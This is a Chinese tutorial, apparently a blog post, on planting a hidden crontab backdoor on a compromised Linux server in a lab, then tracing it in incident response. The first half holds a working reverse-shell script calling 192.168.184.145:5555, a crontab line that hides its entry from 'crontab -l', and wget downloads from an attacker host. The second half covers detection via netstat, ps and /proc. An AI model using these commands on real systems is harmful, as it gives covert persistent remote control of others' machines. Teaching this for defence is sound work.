一、本教程作用
1、用在攻击的途径上
2、应急响应过程中,黑客会留后门,如果你连这种留后门方法都不会,怎么去应急?
不知攻,焉知防
二、crontab 隐藏后门-教程
前提条件: 假设在攻击的过程中通过利用各种getshell,已经拿到目标服务器root权限
环境: IP:192.168.184.142
IP:192.168.184.141、192.168.184.145
2.1 crontab 隐藏后门 shell 文件准备
好不容易拿下一个网站,以后还想继续使用该系统,通常都会留下一些后门,本次我们留下一个crontab隐藏后门
我们把1.sh、2.sh 文件放在本地搭建的web服务上,让受害者去下载执行
1.sh文件内容
#!/bin/bash
bash -i >& /dev/tcp/192.168.184.145/5555 0>&1
#反弹shell到IP地址:192.168.184.145
2.sh文件内容
(crontab -l;printf "* * * * * /home/w_w/1.sh;\rno crontw_wab for `whoami`%100c\n")|crontab -
#建立crontab隐藏后门
2.2 留crontab 隐藏后门
使用菜刀的虚拟终端 执行命令 cd /home/w_w/
跳转到/home/w_w/目录下
kali打开监听端口,等待shll连接
使用菜刀,执行命令下载1.sh与2.sh文件
wget http://192.168.184.1/1.sh
wget http://192.168.184.1/2.sh
下载完1.sh与2.sh文件后,给bash文件添加执行权限
chmod 777 1.sh
chmod 777 2.sh
最后执行2.sh文件,如果2.sh的命令成功执行则会返回如下图所示的提示“no crontab for root”,虽然是提示 root账户没有定时任务,但其实定时任务已经成功创建,
./2.sh
过一分钟之后,kali监听的5555端口,会收到shell连接消息,crontab隐藏后门创建成功
三、crontab隐藏后门——应急响应发现
3.1 查看异常连接文件的位置
第一步:
首先使用以下命令,查看服务器所有的连接
netstat -anpt
发现有两个异常连接,都是与192.168.184.145的5555端口通信的,根据经验猜测是反弹的shell
第二步:
通过PID查看异常连接的进程,以及该进程正在执行的命令行命令
ps aux |grep 15011
发现是 bash 进程
接下来查看PID 为 15011 的父进程
cat /proc/15011/status
发现父进程 PID 是15010
接下来查看 PID 为 15010 的 进程,以及该进程正在执行的命令行命令
ps aux |grep 15010
发现是通过 /bin/bash 执行的 root目录下的1.sh文件 (此处为找到的第一个可疑文件)
接下来查看PID 为 15010 的父进程
cat /proc/15010/status
发现父进程 PID 是15009
接下来查看 PID 为 15009 的 进程,以及该进程正在执行的命令行命令
ps aux |grep 15009
发现是通过 /bin/bash -c 指定将命令转为一个完整命令执行
接下来查看PID 为 15009 的父进程
cat /proc/15009/status
发现父进程 PID 是15007
接下来查看 PID 为 15007 的 进程,以及该进程正在执行的命令行命令
ps aux |grep 15007
发现是 /usr/sbin/CROND -n 跟网站的定时任务相关的
小结:
1、查看排查过程中发现的可疑文件 /root/1.sh ,发现其内容是反弹shell的命令,正式反弹到192.168.184.145的5555端口
3.2 查看定时任务
crontab -l
显示root账户没有定时文件
跟前面查看的 PID 为 15007 的 进程执行命令存在冲突,PID 为 15007 明明执行的是 定时任务的命令 /usr/sbin/CROND -n
那么只能去查看 root账户是否存在定时任务文件
cd /var/spool/cron
cat root
vi root
发现是crontab隐藏后门,只能通过 vi 命令进行查看,隐藏的很完美啊,在最下面找到了
更多资源:
1、web安全工具、渗透测试工具
2、存在漏洞的网站源码与代码审计+漏洞复现教程、
3、渗透测试学习视频、应急响应学习视频、代码审计学习视频、都是2019-2021年期间的较新视频
4、应急响应真实案例复现靶场与应急响应教程
收集整理在知识星球,可加入知识星球进行查看。也可搜索关注微信公众号:W小哥